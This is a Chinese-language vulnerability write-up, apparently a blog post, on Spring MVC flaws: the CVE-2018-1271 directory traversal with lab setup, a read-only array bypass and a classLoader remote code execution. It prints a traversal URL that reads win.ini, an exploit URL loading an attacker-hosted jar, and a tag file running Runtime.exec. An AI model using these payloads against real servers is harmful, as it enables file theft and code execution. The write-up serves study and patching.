Spring MVC 目录穿越漏洞(CVE-2018-1271)

漏洞简介

2018年04月05日,Pivotal公布了Spring MVC存在一个目录穿越漏洞(CVE-2018-1271)。Spring Framework版本5.0到5.0.4,4.3到4.3.14以及较旧的不受支持的版本允许应用程序配置Spring MVC以提供静态资源(例如CSS,JS,图像)。当Spring MVC的静态资源存放在Windows系统上时,攻击可以通过构造特殊URL导致目录遍历漏洞。

漏洞影响

Spring Framework 5.0 to 5.0.4.

Spring Framework 4.3 to 4.3.14

已不支持的旧版本仍然受影响

漏洞利用条件

Server运行于Windows系统上

要使用file协议打开资源文件目录

漏洞复现

复现环境

操作系统Windows

中间件jetty

环境搭建

1.下载 spring-mvc-showcase

git clone https://github/spring-projects/spring-mvc-showcase.git

修改pom.xml,使用Spring Framework 5.0.0。

 

.修改 Spring MVC 静态资源配置,可参考官方文档

通过官方文档可知有两种方式配置,可自行选择配置。此处通过重写WebMvcConfigurer中的addResourceHandlers方法来添加新的资源文件路径。在org.springframework.samples.mvc.config.WebMvcConfig添加以下代码即可,使用file://协议指定resources为静态文件目录。

registry.addResourceHandler("/resources/**").addResourceLocations("file:./src/main/resources/","/resources/");

3.使用 jetty 启动项目

mvn jetty:run

至此复现环境搭建完毕。

复现过程及结果

访问以下链接

http://localhost:8080/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini

 可以看到成功读取到win.ini的内容了。

Spring mvc数组只读权限绕过漏洞
 

poc :    http://inbreak/springmvc/testjsp.htm?names[0]=xxxxx

Spring mvc远程代码执行漏洞

现在再来看看怎么才能远程代码执行,每次想到这里,都会想到这个老外太有才了。
getURLs方法,其实用的地方真的不多,只有在TldLocationsCache类,对页面的tld标签库处理时,才会从这一堆URL中获取tld文件。它的原理是从URL中指定的目录,去获取tld文件,允许从网络中获取tld文件。当一个tld放在jar中时,可以通过

jar:http://inbreak/kxlzx.jar!/

这个URL,会下载到tomcat服务器一个jar文件,然后从jar文件中,寻找tld文件,并且根据tld文件,做spring mvc标签库的进一步解析。
Tld文件自己有个标准(详见jsp标签库),在解析的时候,是允许直接使用jsp语法的,所以这就出现了远程代码执行的最终效果。
这是spring-form.tld原本的部分内容示例


Form标签里面有个input的标签,会根据开发人员的定义,给这些参数默认赋值,前面说到它是支持jsp语法的,所以拿spring原本的/META-INF/spring-form.tld文件,替换其中内容,可以把这个tld的原本input tag的内容替换为:

<!-- <form:input/> tag -->
	<tag-file>
    <name>input</name>
    <path>/META-INF/tags/InputTag.tag</path>
  </tag-file>

这样指定让一个tag文件解析。
还缺一个/META-INF/tags/InputTag.tag

<%@ tag dynamic-attributes="dynattrs" %>
<%
 j java.lang.Runtime.getRuntime().exec("mkdir /tmp/PWNED"); 
%>

做出这样的替换后,当开发者在controller中将任何一个对象绑定表单,并且最终展示的jsp内容有下面这些:

<%@ taglib prefix="form" uri="http://www.springframework/tags/form"%>
<form:form commandName="user">
<form:input path="name"/>
</form:form>

攻击者访问url:

http://inbreak/springmvc/testjsp.htm? class.classLoader.URLs[0]=jar:http://inbreak/spring-exploit.jar!/

即可触发远程代码执行的效果,漏洞发布者写的POC真的很囧。原本页面会显示一个文本框才对,现在变成了一个空白,并且后台执行命令
mkdir /tmp/PWNED
注意,是所有的页面,凡是有input的地方,都会变成空白,这个标签直接被替换掉。

更多推荐

Spring MVC漏洞合集